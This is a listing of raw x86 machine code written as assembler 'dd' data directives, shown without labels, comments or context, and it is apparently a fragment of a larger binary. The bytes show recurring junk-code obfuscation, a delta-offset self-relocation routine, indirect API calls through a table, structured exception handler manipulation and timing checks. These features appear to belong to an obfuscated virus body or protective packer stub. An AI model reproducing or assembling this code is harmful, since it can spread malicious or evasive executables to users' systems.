8E0F006Ah, 6, 10D9D33h, 95FF0607h dd 6071BCDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0F3C35141h, 5FC78057h, 0A5B78D8Dh, 8D29060Ah, 6072D81h dd 0C380D1FFh, 95BD8338h, 1060719h, 46850Fh, 9D030000h dd 607233Dh, 154D9D23h, 26A0607h, 0C0C38166h, 505090CFh dd 5F616050h, 6A905Fh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 326175C3h, 963B13E6h, 95FFD449h dd 60729FDh, 0D26E9h, 0E800h, 815D0000h, 0B7151EDh, 0E1BD8906h dd 6A06071Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 3BF9C356h, 77D31C14h, 858D6651h dd 60A910Ah, 121DBD0Bh, 8A900607h, 809050F8h, 0FF64CFC3h dd 35h, 0B99D8B00h, 6606072Dh, 6420F6BFh, 2589h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 0E866C7C3h, 9D8957D3h, 6072D51h, 0A585FF5Fh, 8906070Fh dd 702298Dh, 6AFF6A06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 9631C350h, 0B5FFD537h dd 6070C35h, 7F78166h, 7E844h, 56300000h, 98930779h, 14E918h dd 1DD60000h, 1DFA3D73h, 0DBBF29CFh, 585FBA6Fh, 7A6F1B2Dh dd 0FF5B4A78h, 7303595h, 13AE906h, 8C0F0000h, 6, 5C5BD8Bh dd 0B00607h, 70E6D98Bh, 0FBDDA5BBh, 0FD9D8B67h, 0E406071Ah dd 0D3BB6671h, 0F613CE9h, 10F83h, 89BD8B00h, 0F060717h dd 0B70FC8B6h, 6BADBh, 0C18B0000h, 0F04E8C1h, 1082h, 0BE900h dd 89660000h, 7241217Dh, 49F4AFADh, 0E2F766EAh, 1A51BD8Bh dd 0DE80607h, 93000000h, 0EF9D430Bh, 9252C9FDh, 4A992794h dd 0FE59D89h, 2B5F0607h, 5BF851C8h, 0E4BFD18Bh, 570EAA04h dd 6B59D31h, 0E95B0607h, 20h, 0A5B50B60h, 0E9060726h, 13h dd 7B4D3DECh, 0BBD635A0h, 0B2DABCB8h, 8A5F9C3Fh, 61EA97F2h dd 2FBD858Bh, 0CE90607h, 1A000000h, 0FD492175h, 38C47AB3h dd 83E72F0Dh, 0C08307C0h, 0D03BF900h, 22830Fh, 8B520000h dd 72DB1BDh, 55E95B06h, 0E9000000h, 10h, 0A5A197CFh, 0D331A6A9h dd 0B7A77BBAh, 0BEC7C1FDh, 31258D8Bh, 81660607h, 83002DC7h dd 840F01E1h, 2Ch, 0A583C8B3h, 6073125h, 5D9D8BFEh, 8906072Dh dd 72FBD95h, 0DE906h, 24620000h, 0F0421122h, 0B378C933h dd 0E9D32B87h, 0 dd 0F957B58Dh, 0BD0B060Ah, 6072CFDh, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BF0F3AC3h dd 599D89FAh, 0FF060717h, 7320195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0FF594F8h dd 0BD8BDFB7h, 6072C0Dh, 7A8B9h, 5E900h, 9F8B0000h, 83F46D58h dd 9D29FCE1h, 6071E49h, 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0D9C197EFh, 9D8997B5h dd 60722A1h, 0D22BC02Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 54C35242h, 8CC5F8Eh, 0ADBF2B93h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 26C35646h, 6A83E780h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0DEEC353h dd 0BB662515h, 880D1B53h, 66000000h, 0D6EDCF81h, 1B41958Bh dd 81660607h, 8B354AEFh, 706058Dh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 51652842h dd 0FE220B24h, 8960344Ah, 7166585h, 59950B06h, 6106072Dh dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 97F28AC3h, 83A605EAh, 70BD1BDh, 840F0006h, 82h, 0FA1BD89h dd 0B80607h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 7B61C355h, 8DF4D604h dd 74DB48Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0B06C45C0h, 0D7363A92h, 0F380ADB7h dd 0A5BD098Bh, 0FF060730h, 52006AE1h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 66F943C7h dd 0BD83FA8Bh, 6070069h, 0FB840F00h, 50000003h, 7E8h, 36321100h dd 0B4A1645Fh, 8A9B589h, 5F5F0607h, 69BD83h, 0F010607h dd 3F484h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 5B59703h, 8B8B4967h, 72FB99Dh, 69BD8306h dd 3060700h, 389860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0F0450CC3h, 0F4DCB5FCh dd 6014D6E4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0FDC35646h, 0B5896CB4h, 6071599h, 6AD98C66h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 92D6C351h, 500A54D0h, 26C9BD8Bh, 805F0607h, 9D8B04E1h dd 607296Dh, 840FC90Ah, 119h, 2ABD9D89h, 858B0607h, 607306Dh dd 31FDBD8Bh, 85330607h, 6073305h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 49C35545h, 72C8AB10h, 0BD89F9AEh dd 6071755h, 26BB6650h, 24048954h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0CEC35646h, 0FEC78155h, 2CE59529h dd 81660607h, 6A96FAD7h, 68FE8B00h, 57A73159h, 0BB665250h dd 310FBB8Dh, 13E9h, 0B4EA100h, 8E74BFBCh, 0C95716BFh dd 315E7D54h, 0B47C7AFBh, 3481585Ah, 0B832A624h, 50006A57h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 5842E9FEh, 438A536h, 0BB66153Dh, 95FF96FCh, 6071B91h dd 8E9FE8Bh, 90000000h, 3ABAB064h, 8980A58Eh, 0AB37285h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 3DEF5D2Bh, 0A9ECDA1Eh, 0F8DBD8Bh, 9EE90607h dd 0B3000001h, 6A858BCCh, 6A060AB3h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0D238C353h dd 2262F659h, 66F59B6Fh, 214BDF81h, 1800C7h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0BCA79AC3h, 60FC093Bh, 61F9F88Bh, 0B36EB58Bh, 0EE8060Ah dd 86000000h, 2855EF65h, 7249CC4Eh, 24910A25h, 0A7BF664Bh dd 95895BCBh, 6072A91h, 1579858Bh, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0EBE2A0C3h dd 50B7D1Bh, 9D0117FDh, 6071A95h, 9D890689h, 607017Dh dd 306D858Bh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 29F29FC3h, 726F9BDh, 4468906h, 30BCBB66h dd 48B0F50h, 66000000h, 893997BBh, 6A2434h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 5E0AD0C3h dd 0B738FEA0h, 575BF66h, 0B36AB5FFh, 6A060Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 8C6836C3h dd 50929C54h, 2404815Fh, 6D82AF73h, 0B66ECF81h, 858D7534h dd 60AB372h, 16959D89h, 0E9500607h, 5, 18D50C45h, 24048988h dd 28B0BFF9h, 95FF3059h, 6071B91h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 35C35646h, 0F65E2885h, 201DC5C9h dd 85896175h, 60722D5h, 6985C7h, 30607h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0F0BB1C3h, 28Ch, 83FE8B00h, 0AB372BDh, 840F0006h, 0Bh dd 0E9A5CF80h, 1Eh, 50DA8B66h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 0BD8BC08Bh, 60725B5h, 83D8BF0Fh dd 70069BDh, 850F0306h, 464h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0AFC35141h, 19D9DD1Ah, 0FAF6C8Ah dd 0BD83DBBFh, 60AB372h, 31840F00h, 6A000004h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0F793C352h, 89AA59DEh, 717B98Dh, 0ECBF6606h, 72B5FF3Eh dd 6A060AB3h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 17CBC352h, 4595FFF5h, 0E9060715h dd 7, 0EEC7719Ah, 8B316313h, 0AB366B5h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0F069224h, 6C7DABFh, 10001h, 8B50EFB7h, 243489FBh, 317DBD8Bh dd 0B5FF0607h, 60AB372h, 91195FFh, 6A0607h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0BF685BC3h dd 2144F340h, 0E9CFED4Ah, 6, 4B6757D4h, 0B58B48ECh, 60AB366h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EBC35747h dd 0D6DD392h, 3714612h, 72A719Dh, 0C9858B06h, 6A06072Ch dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 167BC355h, 317F8BBh, 86895130h, 0C4h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0E0C35747h dd 1DB1A956h, 2FDDBD8Bh, 9530607h, 707D1B5h, 958B5B06h dd 6071B41h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 45C35545h, 0DE55DD3Eh, 8B669FAFh, 4C283F9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 9DC35343h, 69BD8B23h dd 8906071Bh, 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 7D779FC3h, 93CA09CFh, 858DBEEDh dd 60AC7EDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 62C35141h, 78D424BCh, 13E9BB14h, 63000000h, 6111B302h dd 6AEFB476h, 1037EBBEh, 0E386FC9h, 8689AA45h, 0B8h, 309D8D01h dd 6A0607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0EAC35747h, 2EBB37F2h, 0F8049FF8h, 0B372B5FFh dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 85F53FC3h, 0F9BF08E8h, 29FD95FFh, 0DBBF0607h dd 96325D99h, 96DA8B50h, 0BE9h, 353FE100h, 205C6BCBh, 3CA15C3Ah dd 18CD9529h, 0B5FF0607h, 60AB372h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 32C35343h, 9BC3226Eh, 8B8A339Bh dd 0A595FFF8h, 0BB06071Ah, 26D03F71h, 8ADBD83h, 0F000607h dd 4F84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 96BF6B5Ch, 0D08B6660h, 0A0BF5061h dd 967F96D0h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 2EC35242h, 0EC8A99E7h, 0DBB70F79h, 0B372B5FFh dd 9D8B060Ah, 6070BC9h, 260595FFh, 0B5FF0607h, 60AB372h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0A5C35545h dd 0B577474Eh, 52DA5C65h, 0CE8h, 117D3900h, 90BCCE8Bh dd 0BFCC8477h, 199D8944h, 5B06072Bh, 0DB4E08BBh, 0F195FF1Bh dd 6A06071Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 693C357h, 0E0D5E449h, 0F7FD25F7h dd 68D0Fh, 85890000h, 6073019h, 3B1BD83h, 0F020607h, 5984h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 67BB7373h, 3015966Fh, 8BF9B70Fh, 7074985h dd 49B58906h, 0C6060717h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0D25BA3C3h, 10218D89h dd 85C70607h, 6070F49h, 0 dd 0B48EBF66h, 0FFF384E9h, 8E9FFh, 7A3D0000h, 0C79E822Eh dd 0C18B4C75h, 66FEB70Fh, 8D00BEBBh, 71F1985h, 0E7805206h dd 0B7905F6Fh, 8B665081h, 850990FBh, 6070751h, 0BD89006Ah dd 6071DCDh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0EBDC32C3h, 3F25694Dh, 8B76D8A9h dd 72F899Dh, 0E5BD2B06h, 8D06072Fh, 0B7FBC85h, 5C08306h dd 7959D8Bh, 8B500607h, 240489FEh, 499D0B60h, 0F506070Ah dd 0BB006A61h, 408BFA1Ah, 0F380006Ah, 0CD95FFDBh, 0F06071Bh dd 0E8Dh, 9E900h, 0EFCC0000h, 0B4C04852h, 81E70F41h, 0E60A0DDBh dd 0B78D8D5Bh, 6A060AA5h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 9C81C357h, 0B302CEF9h dd 66D1FFEDh, 5BAFE381h, 1995BD83h, 0F010607h, 7085h, 6AFE8B00h dd 51006A02h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0AC03B3B4h, 2063F439h, 0BDBD8B3Bh, 9006072Eh dd 20D4BF66h, 0BB665150h, 905B0E30h, 6882BF66h, 29FD95FFh dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 6BE8AEC3h, 415DFD1Bh, 9660796h, 704F195h dd 0C3BE906h, 0E80000h, 5D000000h, 7FC6ED81h, 9D01060Bh dd 6073369h, 0E866BF66h, 910A858Dh, 0BF0F060Ah, 525050FFh dd 872DBF66h, 870F310Fh, 2, 585A6160h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 9439C357h, 64938B84h, 35FFh, 89640000h, 25h, 0A888BF00h dd 0F98B540Ah, 0FA585FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0AE9CFC3h, 0A5000000h dd 544C3DE5h, 8BB24E16h, 0FE931h, 4E620000h, 0C0E39E06h dd 0B27F3979h, 84289BD2h, 6AFF6A5Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0D25FC352h dd 3382A06h, 299597E3h, 7186585h, 0BE906h, 0F2C00000h dd 0E29208C5h, 0BA2EE2B5h, 0A1B5FF88h, 6A060730h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0AEEDC356h, 10BBDE8Bh, 0FF35A9EEh, 7303595h, 104E906h dd 9D8B0000h, 6071D21h, 5E900B0h, 0DA000000h, 0C1CD705Eh dd 18A5BD29h, 70E60607h, 9D8BFE8Bh, 6071FE1h, 0EE871E4h dd 0D7000000h, 302C6DC0h, 0DDB38E20h, 325E0C38h, 0E381664Dh dd 3C5BBFEBh, 0BF830F61h, 0B7000000h, 0C8B60F60h, 0A890Fh dd 5E90000h, 79000000h, 0E0D2A969h, 6BAh, 51BD8B00h, 8B06070Ah dd 0F88B66C1h, 6604E8C1h, 0D6FCF781h, 0FE2F766h, 0C82BD9BFh dd 221D8D89h, 0D18B0607h, 21A59D89h, 5E90607h, 51000000h dd 5F6EE780h, 2B31858Bh, 73BF0607h, 8935487Bh, 72A59BDh dd 7C08306h, 1079B509h, 0C0830607h, 74B75200h, 0FD03B5Fh dd 1283h, 43E9F500h, 0F000000h, 682h, 0F98D0900h, 8B060707h dd 71C5D8Dh, 0F88B6606h, 0F01E183h, 2584h, 0C99D0B00h dd 8306070Bh, 71C5DA5h, 9531FE06h, 6071B31h, 61CA8B60h dd 2B319589h, 0BF0F0607h, 0E9D9h, 0B58D0000h, 60B0318h dd 9E9h, 0F4927200h, 30309C82h, 6A02E4h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 55C35343h, 2329AB0Fh dd 95FF57EEh, 6073201h, 0B9FBB70Fh, 7ECh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 14h, 0C3C35040h, 995B501h dd 0E1830607h, 0B58951FCh, 60716FDh, 0D781FC5Fh, 78EB5B4Bh dd 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0DE8A768Bh, 0BD8BD22Bh, 6072AC1h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 1175B589h, 6A0607h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 60E99CC3h, 0E91E5DE8h, 8, 5607C66h, 0C105D764h, 880Dh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0FC90FBD7h, 1B41958Bh, 13E90607h, 0FE000000h dd 80D584EEh, 13BD1810h, 6B39CD78h, 767A3BAh, 8D8BAB21h dd 6070605h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 37C35646h, 85C2AECDh, 0CA456E7Fh, 1799D29h, 8B500607h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0B70FDD8Ah dd 0D1BD83D8h, 6070Bh, 60840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 1A76EFC3h dd 652A458Eh, 81660C5Bh, 0B81807F7h, 0 dd 0BE9h, 9772F300h, 0C607366Ah, 6A77C683h, 4DB48D8Dh dd 8D290607h, 607079Dh, 8B19D8Bh, 0E1FF0607h, 6D858B60h dd 31060707h, 71AFD9Dh, 0BD836106h, 6070069h, 78840F00h dd 81000004h, 28FE9ACBh, 69BD831Eh, 1060700h, 480840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0BFBA76C3h, 243A6CC8h, 69BD83h, 0F030607h dd 41B86h, 88F0F00h, 60000000h, 1C958D89h, 60610607h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 56C35343h, 0D593F24Eh dd 66E311C5h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0A9AEA2C3h, 4DB52960h, 8906071Ah dd 71F2995h, 0E1806106h, 70DEBB04h, 0C90A7F0Bh, 177840Fh dd 0E9600000h, 6, 16A3DB83h, 8D89D1D3h, 607160Dh, 0B70F5161h dd 858B5FD9h, 607306Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0DFC35141h, 1D82A720h, 2C0F21BFh, 84CB810Ch dd 333B9DA3h, 7330585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 30C2DB34h, 6735B366h dd 525077F9h, 14E9h, 15E54D00h, 0CA79E34Dh, 0B6024CE3h dd 7A041FBEh, 6E8D060Fh, 4895FEBh, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 89BC8C8Ch dd 7235D95h, 6A006A06h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 1E63C351h, 87889760h dd 877A68A6h, 0BB66BD56h, 4813751h, 0C87C8524h, 9195FF42h dd 6A06071Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 23C4C352h, 0B11C525Bh, 0BF6681BAh dd 8589620Eh, 60AB372h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0ACC35343h, 953D8496h, 6E9h, 0D38AF600h dd 0E99B0FC5h, 1F4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 21C35747h, 6A9529A5h, 89D29B4Ch, 7227D95h dd 6A858B06h, 1060AB3h, 730B185h, 1800C706h, 66000000h dd 0CCA9D781h, 26758D31h, 0B58B0607h, 60AB36Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C1C35242h, 76B120B9h dd 603EFA44h, 1B5D8509h, 0B58B0607h, 607096Dh, 11E961h dd 2BC20000h, 90A234CCh, 6D68093Dh, 5956D004h, 8BFF0E32h dd 7157985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 31F11A9Bh, 0F1C2404h, 58Eh, 0D3816600h dd 6893629h, 1ADD9D8Bh, 858B0607h, 607306Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 9BC35040h, 93B41A74h dd 796C5C57h, 6A044689h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 291BC352h, 5840Fh dd 41BB0000h, 0F9542637h, 5031B796h, 85C38196h, 0FF7B5952h dd 0AB36AB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0CDF7182Ah, 2A14D9EEh, 4EB0683Eh dd 0CE80351h, 0FB000000h, 0D09D8A60h, 34961CE9h, 5F7136BCh dd 4F243481h, 0E9034E4Dh, 0Bh, 0C64B31CEh, 0EE36C38Fh dd 8B5B468Ch, 732ED9Dh, 72858D06h, 0E9060AB3h, 0Bh, 0BCC43E1Ah dd 630E6EA6h, 90B21A42h, 6050DA8Bh, 66F88B66h, 61FCB6BFh dd 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0C97CC52Eh, 0BA73C413h, 0D98B6653h, 0CBF665Fh dd 0CEE38182h, 0FF7B0111h, 71B9195h, 6E906h, 0F1690000h dd 0E2DC9B26h, 6985C761h, 3060700h, 0E9000000h, 0Fh, 0F64F42D6h dd 0D77F8448h, 0B40E39B6h, 0E9F3CFE7h, 0Bh, 0DC26287Dh dd 547AA39Fh, 833E6714h, 0AB372BDh, 840F0006h, 2Ch, 0FEB868BBh dd 3DE97Dh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 9D8BE9C3h, 60716D5h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 89C08B00h, 72AE5B5h dd 0DABF0F06h, 69BD83h, 0F030607h, 33185h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0DA8B66A2h, 0B372BD83h, 0F00060Ah, 30584h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0D4D7ADAAh, 6830F4Dh, 1000000h, 704AD95h, 72B5FF06h dd 31060AB3h, 723F985h, 4595FF06h, 6A060715h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 9A5BC350h, 2AC0D8BFh, 39BF667Ah, 66B58B8Bh, 6A060AB3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0BDE5C352h, 0DE8B5A1Eh, 106C7h, 0DE8B0001h dd 98A0F50h, 0F000000h, 381h, 0DF8B6600h, 6A243489h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0B297C351h, 0E33704BAh, 6ABB666Bh, 72B5FF34h, 6A060AB3h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0F35C353h, 263FBC8Bh, 2A25BD89h, 81660607h dd 0FFB6CBC3h, 7091195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 8B61211Dh, 0AB366B5h dd 8BF88B06h, 72CC985h, 81858906h, 8906070Ch, 0C486h, 8BD9B700h dd 71B4195h, 48C0F06h, 66000000h, 83737DBBh, 0BF6604C2h dd 50899DB9h, 66BF6620h, 0D1B589E2h, 8D060719h, 0AC7ED85h dd 71BD3306h, 89060730h, 0B886h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 81C67561h dd 6A519A52h, 81858900h, 0FF06071Ch, 0AB372B5h, 6FEF8106h dd 0FF5890A8h, 729FD95h, 2ABB9606h, 5015C54Ch, 0A5C4E6BFh dd 0BD8B963Ah, 6071EADh, 0B372B5FFh, 0B70F060Ah, 0A595FFF9h dd 0F06071Ah, 0BD83FEBFh, 60708ADh, 3B840F00h, 31000000h dd 7094DB5h, 0FDBB5006h, 890E8E97h, 6A2434h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 272A4FC3h dd 0E7812F5Fh, 6EC8C7E7h, 2EB1BD8Bh, 0B5FF0607h, 60AB372h dd 260595FFh, 81660607h, 0FFEEB8EFh, 0AB372B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0DA3EB89Dh, 0E381668Ch, 95FF4828h, 6071DF1h, 1CC19589h dd 0BD830607h, 60703B1h, 84840F02h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0C503C355h, 7DCAE7Fh, 8BE6541Ch, 709599Dh, 49858B06h dd 6A060707h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0F145C353h, 74BD6BCAh, 0C8E845B4h dd 9958D31h, 0C60607h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0A26718BAh, 31958991h, 0C7060733h, 70F4985h dd 6, 4775BB00h, 0A6E903E1h, 6AFFFFF4h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0C352C353h dd 0DCD5784Bh, 0FC7F1994h, 89B7C18Bh, 3840Fh, 0B70F0000h dd 19858DFFh, 0BF06071Fh, 70CF0A76h, 819D8B53h, 5B06070Bh dd 50606050h, 810F5Ah, 61000000h, 0BF665250h, 310FE298h dd 310F5250h, 585A585Ah, 24048961h, 17A9BD8Bh, 8B660607h dd 66006ADEh, 6AD98Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 4C35646h, 1C6E242Eh, 619D330Dh, 8D06072Fh dd 0B8DF685h, 5C08306h, 18C5BD8Bh, 60900607h, 5061D68Bh dd 54CCBF66h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0A395E868h, 0C80006E8h, 27BB6631h dd 6A006AB5h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 4E8DC353h, 2D85899Fh, 6A060712h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0D96E8B71h, 6676E494h, 95FFFE8Bh, 6071BCDh dd 8E8h, 1AC9B500h, 4FAA0E77h, 5FBBB34Eh, 0A5B78D8Dh, 6A060Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0A090FC3h, 879237ADh, 0FF9A6890h, 56006AD1h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 6BA8B6B4h dd 0F6DBD89h, 8F0F0607h, 2, 0BD833DB3h, 6071995h, 84850F01h dd 0F8000000h, 6A026Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 904B7DC3h, 52505250h, 13E8310Fh dd 0F5000000h, 0D7B95Eh, 62ED2FB3h, 99F22C67h, 0D505F32Fh dd 5A5F61A7h, 5A310F58h, 52505058h, 5751BF56h, 0F5F7052h dd 5AD88B31h, 6A9058h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 0CA855FC3h, 6D9589A7h, 0FF060707h dd 729FD95h, 0E95FB706h, 0F1Bh, 0E8h, 0ED815D00h, 60B8E00h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 88C35747h dd 6A6AA4C1h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 5EB9C355h, 0F50E2815h, 910A858Dh dd 6A060Ah, 3E855h, 